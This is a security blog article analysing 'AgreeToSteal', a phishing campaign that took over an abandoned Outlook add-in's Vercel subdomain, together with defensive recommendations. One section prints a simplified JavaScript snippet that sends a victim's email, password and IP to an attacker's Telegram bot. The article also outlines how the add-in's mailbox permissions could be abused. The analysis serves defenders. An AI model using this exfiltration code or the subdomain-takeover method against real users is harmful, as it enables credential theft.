AgreeToSteal: A Dead Outlook Add-In Became Microsoft's First Marketplace Phishing Weapon

On February 11, 2026, researchers at Koi Security disclosed the first known malicious Microsoft Outlook add-in found in the wild. The attacker didn't submit anything to Microsoft. They didn't pass any review. They claimed an orphaned Vercel subdomain that a dead add-in still pointed to, deployed a four-page phishing kit, and Microsoft's own infrastructure started serving it inside Outlook's sidebar. By the time Koi got inside the attacker's exfiltration channel, 4,000 Microsoft account credentials, credit card numbers, and banking security answers had already been stolen. This is a breakdown of how the attack worked, the architectural flaw in Office add-ins that made it possible, why every trusted software marketplace has the same structural vulnerability, and what it means for defenders.

The attack Koi documented — codenamed AgreeToSteal — is mechanically simple. A fake Microsoft login page and a Telegram bot for exfiltration. What makes it significant is not the phishing technique. It is the delivery mechanism: a trusted software marketplace distributing a phishing page inside a first-party Microsoft application, behind a Microsoft-approved permission prompt, with no attacker-submitted code ever passing through review.

This is the same class of supply chain attack that has been hitting browser extensions, npm packages, PyPI libraries, and VS Code plugins for years. The Outlook add-in store was the last major marketplace that hadn't been publicly compromised. That changed this week.

Office Add-Ins Are URLs, Not Code

To understand why this attack was possible, you need to understand what an Office add-in actually is. The answer is counterintuitive: it is not installed software. It is a URL loaded in an iframe.

A developer builds a web application and hosts it on any server they control. They write an XML manifest file — a small document that tells Microsoft where the add-in lives, what permissions it needs, and what it's called. The developer submits this manifest to the Microsoft Office Add-in Store. Microsoft reviews it, signs it, and lists the add-in. From that point forward, every time a user opens the add-in, Outlook fetches the content live from the developer's URL and renders it in a sidebar panel inside the application.

There is no static code bundle. No hash to verify at load time. No integrity check on what the URL serves. Whatever content the URL returns right now is what runs inside Outlook. If the developer pushes a malicious update, it is live immediately for every user. If someone else takes control of that URL, they control what every user of that add-in sees — inside Outlook's trusted interface.

The Core Flaw

Microsoft reviews the manifest once at submission. They never re-check what the URL serves after approval. The content behind the URL is mutable, unmonitored, and trusted implicitly by Microsoft's infrastructure for the entire lifetime of the listing. An add-in that is clean on Monday can serve a phishing page on Tuesday — or, as in this case, three years later.

This architecture exists because it is convenient. Developers can push updates without going through a review cycle. Users always get the latest version. The model works exactly like a website — which is precisely the problem. Websites change. Domains expire. Hosting providers recycle subdomains. The trust model assumes the URL will always be controlled by the original developer. That assumption fails the moment a project is abandoned.

What the Manifest Contains

The AgreeTo manifest, signed by Microsoft in December 2022, declared three things that mattered for the attack. First, the source URL: outlook-one.vercel.app, the Vercel-hosted subdomain where the add-in's web application lived. Second, the permission scope: ReadWriteItem, granting the add-in the ability to read and modify the user's emails in the current message context. Third, the display surface: a taskpane in Outlook's compose and read views, meaning the add-in would render inside Outlook's interface whenever a user opened it from their sidebar.

Microsoft approved this manifest once. It never expired. When the developer abandoned the project and the URL changed hands, the manifest — and its permissions — kept working.

AgreeTo: Built, Loved, Abandoned

AgreeTo was a legitimate product. An open-source meeting scheduling tool built in TypeScript with Microsoft Graph API integration, Google Calendar support, and Stripe billing. The developer maintained a full monorepo on GitHub. They shipped a Chrome extension that accumulated 1,000 users and a 4.71-star rating across 21 reviews. They published the Outlook add-in to Microsoft's store in December 2022. This was someone building a real business.

Then development stopped. The last Chrome extension update shipped in May 2023. The developer's primary domain, agreeto.app, expired and was picked up by a GoDaddy domain squatter. The Vercel deployment backing the Outlook add-in was deleted at some point after abandonment, releasing the subdomain outlook-one.vercel.app back into the pool of claimable names.

Users noticed. Reviews on the Chrome extension from July 2024 tell the story clearly:

"It was all 5 stars for me until this morning. I tried to log in, and the agreeto.app website is expired. Did this app die?"

Google eventually removed the dead Chrome extension from the Web Store in February 2025. But Microsoft took no equivalent action. The Outlook add-in remained listed — Microsoft-reviewed, Microsoft-signed, Microsoft-distributed — still pointing to a Vercel subdomain that no longer belonged to anyone.

The Subdomain Takeover

Vercel's platform allows users to deploy projects to subdomains under vercel.app. When a user deletes a project, the subdomain becomes available for anyone else to claim. There is no ownership verification tied to the original deployer. There is no notification to services that still reference the subdomain. The name simply returns to the available pool.

The attacker claimed outlook-one.vercel.app and deployed a four-page phishing kit: a fake Microsoft sign-in page, a password collection page, an exfiltration script, and a redirect. The entire operation required no interaction with Microsoft's review process. The attacker did not submit a manifest. They did not create a store listing. They did not impersonate the original developer. They deployed a web page to a URL that Microsoft's own infrastructure was already configured to load inside Outlook.

The fingerprints of two different authors are visible across the infrastructure. The original developer's assets — icons, OAuth handlers, Microsoft Graph integration files — all return 404 errors. The attacker did not recreate them because they did not have the source code. They deployed only what they needed: the phishing flow.

Step 1
Developer abandons AgreeTo. Vercel deployment is deleted. The subdomain outlook-one.vercel.app becomes claimable.
Step 2
Microsoft's add-in listing remains active. The signed manifest still references the now-orphaned URL. No monitoring detects the change.
Step 3
Attacker claims the Vercel subdomain. Deploys a phishing kit impersonating Microsoft's sign-in page. Zero interaction with Microsoft.
Step 4
Microsoft's infrastructure begins serving the phishing page inside Outlook's sidebar to every user who opens the add-in.
Step 5
Victim sees a Microsoft login prompt inside Outlook. Enters credentials. Data is exfiltrated to the attacker via Telegram's Bot API.

Inside the Attack

When a victim opens the AgreeTo add-in in Outlook, they do not see a meeting scheduler. They see a Microsoft sign-in page rendered in Outlook's sidebar panel. The page is visually convincing — it mimics the standard login.microsoftonline.com interface. Since it appears inside Outlook itself, users have little reason to suspect it is not a legitimate authentication prompt. Enterprise users in particular are conditioned to re-authenticate frequently for Microsoft services.

The victim enters their email address. The page advances to a password field. They enter their password. A single JavaScript function collects the email, password, and the victim's IP address, then sends everything to the attacker via Telegram's Bot API using a standard fetch() call. There are no command-and-control servers. No complex infrastructure. No beaconing. No persistence mechanism. Just one HTTP POST to Telegram's API endpoint.

// Simplified representation of the exfiltration logic
const data = {
    email: emailInput.value,
    password: passwordInput.value,
    ip: await fetch('https://api.ipify.org').then(r => r.text())
};

fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
        chat_id: ATTACKER_CHAT_ID,
        text: `Email: ${data.email}\nPass: ${data.password}\nIP: ${data.ip}`
    })
});

After exfiltration, the page displays a loading spinner for several seconds, then redirects the victim to the real login.microsoftonline.com. The victim assumes the first attempt failed and signs in normally. They have no indication their credentials were just stolen. The entire interaction takes under 30 seconds.

The Attacker's Mistake

The attacker's exfiltration infrastructure was poorly secured. Koi's researchers were able to access the Telegram bot's message history and recover the full scope of the operation: over 4,000 stolen Microsoft account credentials, along with credit card numbers, CVVs, PINs, and banking security answers. The attacker was actively testing stolen credentials at the time of Koi's analysis. The campaign was — and as of publication, may still be — actively compromising new victims.

Further investigation revealed that the Outlook add-in was one channel in a larger operation. The same attacker operates at least 12 distinct phishing kits impersonating Canadian ISPs, banks, and webmail providers. The stolen banking data was being used to intercept Interac e-Transfer payments. This is not an opportunistic script kiddie. It is a professional, multi-brand phishing operation that discovered the Outlook add-in store as a novel distribution vector.

Why Security Tools Can't See It

The AgreeToSteal attack is nearly invisible to the standard enterprise security stack. Each layer of defense has a specific reason for missing it.

Email security gateways do not flag the attack because no phishing email is sent. The phishing page is not delivered through email. It is rendered by the Outlook application itself when the user opens an add-in from their sidebar. Gateways that inspect inbound email for malicious links or attachments have no visibility into content loaded by add-ins.

Endpoint detection and response (EDR) tools do not flag it because the phishing page runs as JavaScript inside a legitimate Microsoft process. Outlook loads the add-in content in a WebView or iframe. From the endpoint's perspective, Outlook is making an HTTPS request to a Vercel-hosted URL — indistinguishable from millions of legitimate Vercel deployments. There is no executable to scan, no suspicious process to flag, no behavioral anomaly to detect.

URL filtering and web proxies do not flag it because the phishing pages are hosted on vercel.app, a domain that serves millions of legitimate applications. Blocking or flagging the entire domain is impractical. Subdomain-level reputation does not exist in most filtering systems.

Conditional Access and Identity Protection tools do not flag the credential theft itself because the credentials are entered directly by the user into what appears to be a legitimate interface. The stolen credentials are later replayed by the attacker from a different IP, which may trigger impossible travel or anomalous sign-in alerts — but only after the compromise has already occurred.

Detection Gap

The attack occupies a blind spot between email security (no email involved), endpoint security (no malicious process), network security (trusted domain), and identity security (credentials entered voluntarily by the user). Each tool is operating correctly within its design parameters. The gap is architectural.

It Could Have Been Worse

The attacker used their access to display a phishing page. This was the least damaging option available to them.

The AgreeTo manifest declares ReadWriteItem permissions. This scope grants the add-in the ability to read the full body, headers, and attachments of the email the user is currently viewing or composing, as well as the ability to modify those emails. The permission was appropriate when AgreeTo was a legitimate scheduling tool that needed to read calendar invitations and compose availability responses. It is significantly less appropriate now.

A more sophisticated attacker could have deployed JavaScript that silently reads the contents of every email the victim opens while the add-in is active. They could exfiltrate sensitive messages, attachments, and internal communications without any visible indication to the user. They could modify outgoing emails to inject phishing links or redirect wire transfer instructions. They could use the victim's own email context to craft highly targeted spear-phishing messages to the victim's contacts — sent from the victim's actual account, through Outlook's own compose interface.

None of this would require the victim to enter credentials. None of this would trigger a sign-in anomaly. The add-in already has permission. The permission was granted by Microsoft when the add-in was legitimate, and it persists now that it is not. The victim already consented when they installed the original scheduling tool.

The Orphaned Dependency Pattern

AgreeToSteal is not an isolated incident. It is the latest instance of a pattern that has been accelerating across every major software marketplace: an attacker takes control of a dependency that a trusted distribution channel still references, and inherits the trust that was originally granted to someone else.

Marketplace Attack Vector Notable Incidents
Chrome Web Store Developer account compromise or purchase of abandoned extensions Cyberhaven extension compromise (December 2024) affecting 400,000 users; multiple extensions weaponized to steal session cookies
npm / PyPI Typosquatting, namespace confusion, expired maintainer email domains Lazarus Group's ongoing campaigns planting malicious packages via fake recruitment themes (February 2026)
VS Code Marketplace Malicious extensions impersonating popular tools MaliciousCorgi (January 2026): AI-themed extensions leaking code from 1.5 million developers; Open VSX now enforcing pre-publish security checks
Office Add-in Store Subdomain takeover of orphaned add-in URL AgreeToSteal (February 2026): first known malicious Outlook add-in, 4,000+ credentials stolen

The common thread is a trust model that validates software at the point of submission and assumes that trust persists indefinitely. In practice, the humans, domains, organizations, and infrastructure behind software change constantly. Developers abandon projects. Domains expire. Hosting accounts are deleted. Maintainer email addresses become claimable. Every one of these transitions creates an opportunity for an attacker to inherit trust that was never intended for them.

Security researchers at MDSec flagged this exact scenario in 2019 in a detailed post on abusing Office web add-ins. They demonstrated how add-ins could be weaponized for persistent mailbox access and ended with a prescient warning: "Microsoft also allow developers to push these add-ins to a store, where users can install them. I'm sure you can see the potential problem there." Seven years later, AgreeTo is exactly the scenario they described.

What Microsoft Should Fix

Koi Security published specific recommendations alongside their disclosure. Several of these address the architectural issues directly.

Content re-validation. Microsoft should monitor the content served by add-in URLs and trigger a re-review when it changes substantially from what was present during the original approval. This does not require reviewing every update — it requires detecting when the content changes fundamentally (a scheduling tool becoming a login page, for instance). Content hashing or structural fingerprinting at review time, compared against periodic checks, would catch the most egregious cases.

Domain ownership verification. Microsoft should verify that the domain or subdomain referenced in an add-in manifest is controlled by the developer who submitted it — not just at submission, but on an ongoing basis. DNS changes, WHOIS ownership transfers, or hosting platform reassignments should trigger a review or suspension.

Abandonment detection. Add-ins that have not been updated beyond a configurable time period should be flagged, suspended, or delisted. AgreeTo was last updated in December 2022. It was still being distributed in February 2026 — over three years later — despite the developer's domain being expired, the Chrome extension having been removed by Google, and the hosting infrastructure having changed hands. A simple staleness check would have caught this.

Installation counts and transparency. The Office Add-in Store does not display installation counts. This makes it impossible for security teams to assess the blast radius of a compromised add-in without access to the attacker's infrastructure. Publishing install counts would enable faster triage during incidents and help organizations understand their exposure.

Subdomain binding in manifests. Manifests should be bound not just to a URL, but to the infrastructure identity behind it. If an add-in's manifest references outlook-one.vercel.app, Microsoft should validate that the Vercel account deploying to that subdomain matches the account that was present at review time. Platform-level APIs from Vercel, Netlify, and other hosting providers could make this technically feasible.

Key Takeaways

  1. Audit your organization's installed Office add-ins immediately. Use the Microsoft 365 admin center to enumerate every add-in deployed across your tenant. For each one, verify that the developer is still active, the source URL resolves to the expected content, and the add-in is still being maintained. Remove any add-in that has not been updated in over 12 months or whose source domain has changed hands.
  2. Restrict add-in installation to IT-approved lists. Microsoft 365 allows administrators to control which add-ins users can install via the Integrated Apps portal. Shifting from an open marketplace model to an allowlist model eliminates the risk of users self-installing orphaned or compromised add-ins. If your organization does not use Office add-ins for business purposes, disable user-initiated installation entirely.
  3. Monitor for subdomain takeover across your dependencies. This applies beyond Office add-ins. Any external service that references a third-party subdomain — CNAME records, OAuth redirect URIs, embedded iframes, manifest URLs — is vulnerable to takeover if the original owner abandons the subdomain. Tools like can-i-take-over-xyz document which hosting providers are susceptible to subdomain reclamation.
  4. Treat add-in permissions as persistent attack surface. The permissions granted to an add-in at install time persist even if the add-in is later compromised. ReadWriteItem means the add-in can read and modify emails. ReadWriteMailbox means it can access the entire mailbox. Review the permission scopes of every installed add-in and apply the principle of least privilege: if an add-in requests more access than its stated function requires, do not install it.
  5. Enforce MFA and phishing-resistant authentication. Stolen passwords from AgreeToSteal are only useful if the attacker can replay them successfully. FIDO2 security keys and passkeys are immune to this class of phishing because the credential is bound to the legitimate domain. Even if a user enters their password into a phishing page, a phishing-resistant second factor prevents account takeover. Organizations that have not deployed FIDO2 or passkeys should treat this as a priority.
  6. Extend supply chain monitoring to every marketplace. Browser extensions, VS Code plugins, npm packages, Office add-ins — every trusted distribution channel that loads remote dynamic content is susceptible to the orphaned dependency pattern. Security teams should maintain an inventory of all marketplace-distributed software in their environment and monitor for ownership changes, abandonment indicators, and content mutations.

AgreeToSteal is a structurally simple attack with structurally significant implications. The attacker did not need to find a vulnerability. They did not need to bypass a security control. They claimed a URL that Microsoft was already distributing inside its own application, and Microsoft's infrastructure did the rest. The phishing technique was rudimentary. The delivery mechanism was not.

The architectural flaw — point-in-time review of mutable remote content — is not unique to Microsoft's add-in store. It is present in every software marketplace that reviews code at submission and trusts it indefinitely. Until these platforms adopt continuous validation of the content they distribute, the trust they grant to developers will continue to be inherited by attackers. AgreeTo is the first publicly documented case in the Outlook add-in store. It will not be the last.

Sources

← all articles